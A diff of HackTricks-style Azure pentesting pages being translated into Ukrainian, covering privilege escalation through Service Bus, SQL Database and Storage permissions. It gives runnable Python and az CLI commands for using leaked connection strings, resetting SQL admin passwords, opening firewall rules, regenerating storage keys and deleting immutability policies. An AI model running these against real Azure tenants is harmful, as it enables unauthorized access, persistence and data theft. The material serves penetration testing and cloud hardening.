@@ -63,15 +54,10 @@ az storage queue metadata update --name <queue-name> --metadata key1=value1 key2
|
||||
|
||||
az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
|
||||
```
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,16 +4,15 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
For more information check:
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-servicebus-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Send Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the `PrimaryConnectionString`, which acts as a credential for the Service Bus namespace. With this connection string, you can fully authenticate as the Service Bus namespace, enabling you to send messages to any queue or topic and potentially interact with the system in ways that could disrupt operations, impersonate valid users, or inject malicious data into the messaging workflow.
|
||||
### Відправка повідомлень. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю автентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити операції, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -30,51 +29,51 @@ TOPIC_NAME = "<TOPIC_NAME>"
|
||||
|
||||
# Function to send a single message to a Service Bus topic
|
||||
async def send_individual_message(publisher):
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
# Prepare a single message with updated content
|
||||
single_message = ServiceBusMessage("Hacktricks-Training: Single Item")
|
||||
# Send the message to the topic
|
||||
await publisher.send_messages(single_message)
|
||||
print("Sent a single message containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send multiple messages to a Service Bus topic
|
||||
async def send_multiple_messages(publisher):
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
# Generate a collection of messages with updated content
|
||||
message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)]
|
||||
# Send the entire collection of messages to the topic
|
||||
await publisher.send_messages(message_list)
|
||||
print("Sent a list of 5 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Function to send a grouped batch of messages to a Service Bus topic
|
||||
async def send_grouped_messages(publisher):
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
# Send a grouped batch of messages with updated content
|
||||
async with publisher:
|
||||
grouped_message_batch = await publisher.create_message_batch()
|
||||
for i in range(10):
|
||||
try:
|
||||
# Append a message to the batch with updated content
|
||||
grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}"))
|
||||
except ValueError:
|
||||
# If batch reaches its size limit, handle by creating another batch
|
||||
break
|
||||
# Dispatch the batch of messages to the topic
|
||||
await publisher.send_messages(grouped_message_batch)
|
||||
print("Sent a batch of 10 messages containing 'Hacktricks-Training'")
|
||||
|
||||
# Main function to execute all tasks
|
||||
async def execute():
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
# Instantiate the Service Bus client with the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as sb_client:
|
||||
# Create a topic sender for dispatching messages to the topic
|
||||
publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME)
|
||||
async with publisher:
|
||||
# Send a single message
|
||||
await send_individual_message(publisher)
|
||||
# Send multiple messages
|
||||
await send_multiple_messages(publisher)
|
||||
# Send a batch of messages
|
||||
await send_grouped_messages(publisher)
|
||||
|
||||
# Run the asynchronous execution
|
||||
asyncio.run(execute())
|
||||
@@ -82,11 +81,9 @@ print("Messages Sent")
|
||||
print("----------------------------")
|
||||
|
||||
```
|
||||
### Отримати повідомлення. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
### Recieve Messages. Action: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` OR `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
You can retrieve the PrimaryConnectionString, which serves as a credential for the Service Bus namespace. Using this connection string, you can receive messages from any queue or subscription within the namespace, allowing access to potentially sensitive or critical data, enabling data exfiltration, or interfering with message processing and application workflows.
|
||||
|
||||
Ви можете отримати PrimaryConnectionString, який слугує обліковими даними для простору імен Service Bus. Використовуючи цей рядок підключення, ви можете отримувати повідомлення з будь-якої черги або підписки в межах простору імен, що дозволяє отримати доступ до потенційно чутливих або критичних даних, що дозволяє ексфільтрацію даних або втручання в обробку повідомлень і робочі процеси додатків.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -102,48 +99,45 @@ SUBSCRIPTION_NAME = "<TOPIC_SUBSCRIPTION_NAME>" #Topic Subscription
|
||||
|
||||
# Function to receive and process messages from a Service Bus subscription
|
||||
async def receive_and_process_messages():
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
# Create a Service Bus client using the connection string
|
||||
async with ServiceBusClient.from_connection_string(
|
||||
conn_str=NAMESPACE_CONNECTION_STR,
|
||||
logging_enable=True) as servicebus_client:
|
||||
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
# Get the Subscription Receiver object for the specified topic and subscription
|
||||
receiver = servicebus_client.get_subscription_receiver(
|
||||
topic_name=TOPIC_NAME,
|
||||
subscription_name=SUBSCRIPTION_NAME,
|
||||
max_wait_time=5
|
||||
)
|
||||
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
async with receiver:
|
||||
# Receive messages with a defined maximum wait time and count
|
||||
received_msgs = await receiver.receive_messages(
|
||||
max_wait_time=5,
|
||||
max_message_count=20
|
||||
)
|
||||
for msg in received_msgs:
|
||||
print("Received: " + str(msg))
|
||||
# Complete the message to remove it from the subscription
|
||||
await receiver.complete_message(msg)
|
||||
|
||||
# Run the asynchronous message processing function
|
||||
asyncio.run(receive_and_process_messages())
|
||||
print("Message Receiving Completed")
|
||||
print("----------------------------")
|
||||
```
|
||||
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
If you have these permissions, you can escalate privileges by reading or creating shared access keys. These keys allow full control over the Service Bus namespace, including managing queues, topics, and sending/receiving messages, potentially bypassing role-based access controls (RBAC).
|
||||
|
||||
Якщо у вас є ці дозволи, ви можете підвищити привілеї, читаючи або створюючи ключі спільного доступу. Ці ключі дозволяють повний контроль над простором імен Service Bus, включаючи управління чергами, темами та відправленням/отриманням повідомлень, потенційно обходячи контроль доступу на основі ролей (RBAC).
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
--resource-group <MyResourceGroup> \
|
||||
--namespace-name <MyNamespace> \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -152,7 +146,3 @@ az servicebus namespace authorization-rule update \
|
||||
- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
For more information about SQL Database check:
|
||||
Для отримання додаткової інформації про SQL Database дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,104 +12,88 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
With these permissions, a user can perform privilege escalation by updating or creating Azure SQL servers and modifying critical configurations, including administrative credentials. This permission allows the user to update server properties, including the SQL server admin password, enabling unauthorized access or control over the server. They can also create new servers, potentially introducing shadow infrastructure for malicious purposes. This becomes particularly critical in environments where "Microsoft Entra Authentication Only" is disabled, as they can exploit SQL-based authentication to gain unrestricted access.
|
||||
|
||||
З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть експлуатувати SQL-автентифікацію для отримання необмеженого доступу.
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--admin-password <new_password>
|
||||
|
||||
# Create a new server
|
||||
az sql server create \
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--name <new_server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--location <location> \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
|
||||
Additionally it is necesary to have the public access enabled if you want to access from a non private endpoint, to enable it:
|
||||
|
||||
Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це:
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
--name <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--enable-public-network true
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
An attacker can manipulate firewall rules on Azure SQL servers to allow unauthorized access. This can be exploited to open up the server to specific IP addresses or entire IP ranges, including public IPs, enabling access for malicious actors. This post-exploitation activity can be used to bypass existing network security controls, establish persistence, or facilitate lateral movement within the environment by exposing sensitive resources.
|
||||
|
||||
Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення бічного переміщення в середовищі шляхом відкриття чутливих ресурсів.
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
--name <new-firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <start-ip-address> \
|
||||
--end-ip-address <end-ip-address>
|
||||
|
||||
# Update Firewall Rule
|
||||
az sql server firewall-rule update \
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
--name <firewall-rule-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--start-ip-address <new-start-ip-address> \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/outboundFirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
Додатково, `Microsoft.Sql/servers/outboundFirewallRules/delete` дозволяє вам видаляти правило брандмауера.
|
||||
ПРИМІТКА: Необхідно мати увімкнений публічний доступ
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
With this permission, you can create, modify, or delete IPv6 firewall rules on an Azure SQL Server. This could enable an attacker or authorized user to bypass existing network security configurations and gain unauthorized access to the server. By adding a rule that allows traffic from any IPv6 address, the attacker could open the server to external access."
|
||||
|
||||
З цим дозволом ви можете створювати, змінювати або видаляти правила брандмауера IPv6 на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу обійти існуючі конфігурації мережевої безпеки та отримати несанкціонований доступ до сервера. Додавши правило, яке дозволяє трафік з будь-якої IPv6 адреси, зловмисник може відкрити сервер для зовнішнього доступу.
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <rule_name> \
|
||||
--start-ip-address <start_ipv6_address> \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
|
||||
Additionally, `Microsoft.Sql/servers/ipv6FirewallRules/delete` permission lets you delete a Firewall Rule.
|
||||
NOTE: It is necesary to have the public access enabled
|
||||
Додатково, `Microsoft.Sql/servers/ipv6FirewallRules/delete` дозволяє вам видаляти правило брандмауера.
|
||||
ПРИМІТКА: Необхідно, щоб публічний доступ був увімкнений
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
With this permissions you can privesc in an Azure SQL Server environment accessing to SQL databases and retrieven critical information. Using the the command below, an attacker or authorized user can set themselves or another account as the Azure AD administrator. If "Microsoft Entra Authentication Only" is enabled you are albe to access the server and its instances. Here's the command to set the Azure AD administrator for an SQL server:
|
||||
|
||||
З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви можете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--display-name <admin_display_name> \
|
||||
--object-id <azure_subscribtion_id>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
With these permissions, you can configure and enforce "Microsoft Entra Authentication Only" on an Azure SQL Server, which could facilitate privilege escalation in certain scenarios. An attacker or an authorized user with these permissions can enable or disable Azure AD-only authentication.
|
||||
|
||||
З цими дозволами ви можете налаштувати та забезпечити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
#Disable
|
||||
az sql server azure-ad-only-auth disable \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Storage Privesc
|
||||
|
||||
For more information about storage check:
|
||||
Для отримання додаткової інформації про зберігання дивіться:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-storage.md
|
||||
@@ -12,26 +12,21 @@ For more information about storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
A principal with this permission will be able to list (and the secret values) of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Принципал з цим дозволом зможе переглядати (та секретні значення) **ключів доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
A principal with this permission will be able to renew and get the new secret value of the **access keys** of the storage accounts. Allowing the principal to escalate its privileges over the storage accounts.
|
||||
|
||||
Moreover, in the response, the user will get the value of the renewed key and also of the not renewed one:
|
||||
Принципал з цим дозволом зможе оновити та отримати нове значення секрету **ключів доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
|
||||
|
||||
Більше того, у відповіді користувач отримає значення оновленого ключа, а також неоновленого:
|
||||
```bash
|
||||
az storage account keys renew --account-name <acc-name> --key key2
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/write
|
||||
|
||||
A principal with this permission will be able to create or update an existing storage account updating any setting like network rules or policies.
|
||||
|
||||
Принципал з цим дозволом зможе створювати або оновлювати існуючий обліковий запис зберігання, оновлюючи будь-які налаштування, такі як мережеві правила або політики.
|
||||
```bash
|
||||
# e.g. set default action to allow so network restrictions are avoided
|
||||
az storage account update --name <acc-name> --default-action Allow
|
||||
@@ -39,118 +34,101 @@ az storage account update --name <acc-name> --default-action Allow
|
||||
# e.g. allow an IP address
|
||||
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
|
||||
```
|
||||
|
||||
## Blobs Specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
|
||||
|
||||
The first permission allows to **modify immutability policies** in containers and the second to delete them.
|
||||
Перше дозволяє **змінювати політики незмінності** в контейнерах, а друге - видаляти їх.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if an immutability policy is in lock state, you cannot do neither of both
|
||||
|
||||
> Зверніть увагу, що якщо політика незмінності знаходиться в заблокованому стані, ви не можете виконати жодну з цих дій.
|
||||
```bash
|
||||
az storage container immutability-policy delete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP>
|
||||
|
||||
az storage container immutability-policy update \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
|
||||
## File shares specific privesc
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
This should allow a user having this permission to be able to take the ownership of files inside the shared filesystem.
|
||||
Це повинно дозволити користувачу, який має це дозволення, взяти на себе право власності на файли в спільній файловій системі.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/modifypermissions/action
|
||||
|
||||
This should allow a user having this permission to be able to modify the permissions files inside the shared filesystem.
|
||||
Це повинно дозволити користувачу, який має це дозволення, змінювати дозволи файлів у спільній файловій системі.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
|
||||
|
||||
This should allow a user having this permission to be able to perform actions inside a file system as a superuser.
|
||||
Це повинно дозволити користувачу, який має це дозволення, виконувати дії в файловій системі як суперкористувач.
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
With this permission, an attacker can create and update (if has `Microsoft.Storage/storageAccounts/localusers/read` permission) a new local user for an Azure Storage account (configured with hierarchical namespace), including specifying the user’s permissions and home directory. This permission is significant because it allows the attacker to grant themselves to a storage account with specific permissions such as read (r), write (w), delete (d), and list (l) and more. Additionaly the authentication methods that this uses can be Azure-generated passwords and SSH key pairs. There is no check if a user already exists, so you can overwrite other users that are already there. The attacker could escalate their privileges and gain SSH access to the storage account, potentially exposing or compromising sensitive data.
|
||||
|
||||
З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення `Microsoft.Storage/storageAccounts/localusers/read`) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролі, згенеровані Azure, та пари SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME> \
|
||||
--permission-scope permissions=rwdl service=blob resource-name=<CONTAINER_NAME> \
|
||||
--home-directory <HOME_DIRECTORY> \
|
||||
--has-ssh-key false/true # Depends on the auth method to use
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
|
||||
|
||||
With this permission, an attacker can regenerate the password for a local user in an Azure Storage account. This grants the attacker the ability to obtain new authentication credentials (such as an SSH or SFTP password) for the user. By leveraging these credentials, the attacker could gain unauthorized access to the storage account, perform file transfers, or manipulate data within the storage containers. This could result in data leakage, corruption, or malicious modification of the storage account content.
|
||||
|
||||
З цією дозволом зловмисник може відновити пароль для локального користувача в обліковому записі Azure Storage. Це надає зловмиснику можливість отримати нові облікові дані для аутентифікації (такі як пароль SSH або SFTP) для користувача. Використовуючи ці облікові дані, зловмисник може отримати несанкціонований доступ до облікового запису зберігання, виконувати передачу файлів або маніпулювати даними в контейнерах зберігання. Це може призвести до витоку даних, пошкодження або зловмисної модифікації вмісту облікового запису зберігання.
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--resource-group <RESOURCE_GROUP_NAME> \
|
||||
--name <LOCAL_USER_NAME>
|
||||
```
|
||||
|
||||
To access Azure Blob Storage via SFTP using a local user via SFTP you can (you can also use ssh key to connect):
|
||||
|
||||
Щоб отримати доступ до Azure Blob Storage через SFTP, використовуючи локального користувача через SFTP, ви можете (також можна використовувати ssh ключ для підключення):
|
||||
```bash
|
||||
sftp <local-user-name>@<storage-account-name>.blob.core.windows.net
|
||||
#regenerated-password
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
|
||||
|
||||
With this permissions an attacker can restore a deleted container by specifying its deleted version ID or undelete specific blobs within a container, if they were previously soft-deleted. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
З цими дозволами зловмисник може відновити видалений контейнер, вказавши його ID видаленої версії, або відновити конкретні блоби в контейнері, якщо вони були раніше м'яко видалені. Це підвищення привілеїв може дозволити зловмиснику відновити чутливі дані, які мали бути назавжди видалені, що потенційно призведе до несанкціонованого доступу.
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--name <CONTAINER_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
|
||||
#Restore the soft deleted blob
|
||||
az storage blob undelete \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
--container-name <CONTAINER_NAME> \
|
||||
--name "fileName.txt"
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read
|
||||
|
||||
With these permissions, an attacker can restore a deleted Azure file share by specifying its deleted version ID. This privilege escalation could allow an attacker to recover sensitive data that was meant to be permanently deleted, potentially leading to unauthorized access.
|
||||
|
||||
З цими дозволами зловмисник може відновити виділений Azure файл-шар, вказавши його ID видаленої версії. Це підвищення привілеїв може дозволити зловмиснику відновити чутливі дані, які мали бути назавжди видалені, що потенційно призведе до несанкціонованого доступу.
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
--name <FILE_SHARE_NAME> \
|
||||
--deleted-version <VERSION>
|
||||
```
|
||||
## Інші цікаві дозволи (TODO)
|
||||
|
||||
## Other interesting looking permissions (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Changes ownership of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Modifies permissions of the blob
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Returns the result of the blob command
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює власність блобу
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Модифікує дозволи блобу
|
||||
